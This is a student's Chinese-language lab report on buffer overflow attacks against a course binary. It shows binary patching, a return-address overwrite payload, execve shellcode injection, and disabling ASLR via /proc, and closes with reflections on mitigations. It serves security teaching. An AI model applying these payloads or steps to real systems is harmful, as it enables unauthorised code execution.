1.實驗內容
1.1知識回顧
1.1.1什么是緩沖區(qū)溢出?
計算機中,如果程序試圖向一個緩沖區(qū)填充超出它能夠容納的數據,溢出的數據可能會覆蓋其他重要的內存區(qū)域,導致程序運行失敗甚至崩潰,如果這些溢出數據是精心設計的.則攻擊者就可以利用它們指向預先設計的攻擊代碼(shellcode)(Shellcode是核彈!!!)。
漏洞存在的根本原因是馮諾依曼體系中,數據指令沒有明顯區(qū)分。
1.1.2緩沖區(qū)溢出的實例有哪些?
Codered利用IIS漏洞(紅色代碼)
SQL slammer蠕蟲利用SQL Server漏洞
Blaster 利用RPC漏洞(沖擊波病毒)
Sasser利用LSASS漏洞(震蕩波病毒)
Sapphire蠕蟲(藍寶石)
Witty蠕蟲
WannaCry(勒索病毒)
1.1.3實驗前置知識
編譯器:例如C/C++等高級語言編寫的程序,需要通過編譯器(Compiler)和連接器(Linker)生成在OS上執(zhí)行的可執(zhí)行程序代碼。
調試器:開發(fā)人員在運行時調試與分析程序行為的工具,如GDB。
寄存器:通用寄存器、段寄存器、控制寄存器、其他寄存器
匯編語言、反匯編過程
linux基礎指令:ls、cd、sudo等
函數在棧結構中的執(zhí)行過程
EBP棧底指針(在高地址)、ESP棧頂指針(在低地址)、EIP指令指針寄存器(指向下一條將要執(zhí)行的指令的地址)
Shell
1.2實驗要干什么
本次實踐的對象是一個名為pwn20222319的linux可執(zhí)行文件(本實驗任務三中我將其分為pwn20222319_d7與pwn20222319_c3)。該程序正常執(zhí)行流程是:main調用foo函數,用戶輸入什么字符串,foo就返回什么字符串。
該程序同時包含另一個函數getShell,功能是返回一個可用Shell。
三個實驗任務即是從三個角度嘗試實現這一個正常情況下不會被執(zhí)行的Shell的成功調用。
原理如下:
任務一 手工修改可執(zhí)行文件,改變程序執(zhí)行流程,直接跳轉到getShell函數。
任務二 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發(fā)getShell函數。
任務三 注入一個精心制作的shellcode并運行這段shellcode。
2.實驗過程
2.1任務一 手工修改函數跳轉地址,直接調用到Shell
首先修改命令行提示符,其格式為XXX@YYY,XXX為用戶名,即目前登錄該服務器的用戶的名字,任務一中未對其進行修改故為kali,實驗二、三中進行了修改。
YYY為主機名,在命令行中可通過如
hostname zzs
進行更改。
2.1.1將目標文件放入實驗環(huán)境中
將下載好的pwn1文件直接從windows文件夾里從拖入經kali可視化后的linux操作界面中,如下圖

此時pwn1文件存儲于桌面上,因此在命令行中應使用指令cd Desktop進入pwn1所在的界面,方便操作
其文件名也可通過如mv pwn1 pwn20222319進行修改
2.1.2將目標文件進行反匯編
在pwn20222319文件所在目錄下,使用objdump -d pwn20222319 | more進行反匯編,查看其函數地址結構,結果如下圖

找到getShell、foo、main三函數所在的地址

得知主函數main在運行過程中call指令跳轉到08048491位置,即foo函數首地址,因此能調用foo函數,所以我們只要將此處的代碼修改為getShell函數的首地址,即可實現攻擊目標
但應該如何改呢?
首先得知道,此處機器指令e8 d7ffffff中,e8含跳轉的功能,d7ffffff是補碼,代表-41,因此其功能就是跳轉到EIP + d7ffffff這個位置的指令,
又因為EIP通常為下一條機器指令的地址,
所以有41=0x29,0x080484ba+0xd7ffffff=0x80484ba-0x29=0x08048491
所以要實現向getShell函數的跳轉,得知道其首地址0x0804847d,
所以0x0804847d-0x080484ba=-0x3d,補碼為0xffffffc3,所以相應機器碼應為c3ffffff
2.1.3打開文件進行修改
使用指令vi pwn20222319打開文件,會出現下圖所示情況,此時需輸入:%!xxd將文件顯示模式切換為16進制模式

然后輸入/e8 d7指令搜索需要修改的機器指令,

按鍵盤上的i鍵進入Insert模式,修改d7為c3
最后輸入:%!xxd -r返回原顯示模式,:wq保存退出


顯然,此時pwn20222319實現了getShell函數的功能,攻擊成功
2.2任務二 通過輸入惡意字符串覆蓋返回地址,觸發(fā)getShell函數(BOF攻擊)
2.2.1下載GDB
在輸入gdb指令進行調試時,發(fā)現虛擬機上未提前安裝好gdb,提示可用apt install相關指令進行安裝,
但實際上由于apt資源庫非最新,所以gdb不能據apt install指令下載,得先使用sudo apt update更新apt資源后方可下載gdb。如下兩圖。


2.2.2 確認使用什么字符可以覆蓋目標返回地址
通過反匯編可知,foo函數只為讀入字符串預留了28字節(jié)的緩沖區(qū),超出部分會造成溢出,存在Buffer overflow漏洞。


由上兩圖可知,當輸入較長字符串1111111122222222333333334444444455555555時,函數下一條指令的寄存器EIP會被0x35353535覆蓋,即第33到40個字符區(qū)域的某四個字符所覆蓋,

而由另一較長字符1111111122222222333333334444444412345678定位可知,修改字符串中第33到36位字節(jié)為getShell函數的首地址即可使該函數執(zhí)行Shell
據反匯編可知,getShell函數首地址為0x0804847d,因此我們應輸入
11111111222222223333333344444444\x7d\x84\x04\x08進行BOF攻擊
2.2.3 通過文件管道輸入無法鍵盤輸入的字符
由為我們沒法通過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,所以我們得通過
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20222319生成一個文件(\x0a表示回車),并通過管道符“|”間接輸入進pwn20222319中。結果如下

顯然,此時pwn20222319實現了getShell函數的功能,攻擊成功
2.3任務三 通過注入Shellcode進行攻擊
2.3.1下載execstack
由于execstack無法通過apt下載,因此我們可以通過wget指令從互聯網上下載相應文件
此處我使用wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
下載目標壓縮文件到Desktop目錄下,再用
sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb進行解壓,即可下載好execstack。如圖

2.3.2調好文件運行環(huán)境
通過指令execstack -s pwn20222319設置堆棧可執(zhí)行
再通過echo "0" > /proc/sys/kernel/randomize_va_space取消棧地址隨機化,結果如下圖

2.3.3準備一段Shellcode進行注入測試
首先設計好一段Shellcode,以16進制的形式將其寫在文件input_shellcode20222319_test中,即輸入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20222319_test如圖

然后將該文件管道輸入至文件pwn20222319中(此處為了分辨清晰,我將其命名為pwn20222319_d7,以示其正常情況下不執(zhí)行Shell),注意此時不輸入任何字符,保持其持續(xù)運行即可

與此同時,打開另一個終端,輸入ps -ef | grep pwn20222319_d7,查看pwn20222319_d7的進程號,發(fā)現為265174

進入調試器gdb,輸入attach 265174連接該進程


輸入disassemble foo查看該程序中foo函數的執(zhí)行情況,查詢各寄存器地址狀態(tài)

輸入break *0x080484ae設置斷點于函數返回地址
輸入c,讓程序繼續(xù)執(zhí)行,并保持監(jiān)控

返回第一個終端,敲一個回車即可,可見命令行會彈出如圖字符提示,

第二終端同樣會有命令行的響應,如圖

此時輸入info r esp顯示當前棧指針(ESP寄存器)的值,發(fā)現其為0xffffd36c
再輸入x/16x ffffd36c以16進制格式查看內存地址 0xfffd36c 開始的 16 個字(每個字 4 字節(jié))內容
發(fā)現0x01020304就在其中,地址為0xffffd36c,因為棧地址會從高到低增長,且是從右往左存的,因此得為0xffffd36c+4字節(jié),即目標地址應為0xffffd370

2.3.4構造要注入的payload,進行攻擊
輸入
perl -e 'print "\x70\xd3\xff\xff\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode20222319生成最終執(zhí)行攻擊的注入文件,通過管道輸入執(zhí)行pwn20222319_d7程序,回車后返回如圖結果,之后即可執(zhí)行Shell程序,ls、cd、exit等功能皆能執(zhí)行

顯然,注入攻擊成功
3.問題及解決方案
-
問題1:pwn文件無法執(zhí)行,顯示permission deny
問題1解決方案:經查詢,該文件是從windows系統(tǒng)復制到linux系統(tǒng)中,在linux中缺少執(zhí)行權限,輸入指令chmod +x ./pwn20222319即可
![]()
-
問題2:在用戶界面以vi命令編輯pwn文件時,使用/e8d7、/e8 d7、/d7ff都無法搜索到相關內容
![]()
問題2解決方案:進入目標文件所在目錄下,使用sudo su進入root模式,再用vi命令打開文件即可搜索到。經查閱資料,問題原因可能是因為權限、所有權或安全策略的不同而導致普通用戶權限下與root權限下出現搜索結果差異,通過調整文件權限可以讓普通用戶正常搜索到目標內容。當然也不排除是文件受損的原因。 -
問題3:取消地址隨機化后,函數的返回地址依然隨機
問題3解決方案:實際上是第一次實驗時設置了取消地址隨機化,退出虛擬機第二次進入進行實驗進入linux終端時,系統(tǒng)又變回了地址隨機化的狀態(tài),再改一次就好。 -
問題4:文件從windows界面拖入普通用戶登錄的linux界面里的桌面時有復制提示無桌面復制文件
問題4解決方案:最開始考慮可能是用戶權限問題,因為root用戶不能打開普通用戶的文件夾,反之也是,因此不能直接互相從對方文件里復制,因此在查閱許多種在同一臺linux服務器不同賬號間互傳文件的方法,包括scp傳輸、ftp傳輸、通過winSCP等第三方軟件訪問普通用戶的數據等等方法,最終選擇了在linux根目錄創(chuàng)建一個共享文檔,配好任何人可使用的權限后才解決。但在寫實驗報告復盤實驗經過時,發(fā)現竟然又可以拖了,就很神奇,難以解釋。
4.學習感悟、思考等
經過本次實驗,我主要學會了針對緩沖區(qū)溢出漏洞的三種不同攻擊方法,第一種是修改主函數的函數調用地址,第二種是使用較長的字符串覆蓋子函數返回地址,第三種是構建一個payload通過字符串覆蓋從而注入進程序中進行調用。不禁令人感慨馮諾依曼體系指令與數據不分后果非常嚴重,也讓人感慨一代代程序員們?yōu)檠a上這一個漏洞做了多少的補丁,諸如字符串數組邊界檢查、不安全函數檢查、完整性檢查,還有Stack Canary保護、NX保護與ASLR。
特別是ASLR,在本次實驗中困擾了我很久,在以為關閉地址隨機化情況下,任務三我前前后后重做了好幾遍,嚴格按照指導書內容來做,排除了文件權限,注入內容,執(zhí)行文件內容等等方面的原因,最后才發(fā)現目標返回地址每次都不一樣,所以任務三鐵定是無法成功的,就算能成功那也是蒙對的,可是概率極其微小。因此我在本次實驗中對于地址隨機化抗緩沖區(qū)溢出攻擊的能力極為信服,不把它關掉幾乎是不可能成功進行緩沖區(qū)溢出攻擊的。
當然,本次實驗也加深了我對于linux命令的熟悉程度。
此外,出于本實驗的需要,我也認識了一些x86匯編語言的指令及其機器碼
NOP-----0x90 空指令,用于創(chuàng)建時間延遲或占位
JNE------0x75 如果前一個比較指令結果不相等,則跳轉到指定標簽
JE--------0x74 如果前一個比較指令結果相等,則跳轉到指定標簽
JMP------0xEB 無條件跳轉到指定標簽
CMP------0x39 比較兩個操作數,一般與JNE或JE連用


浙公網安備 33010602011771號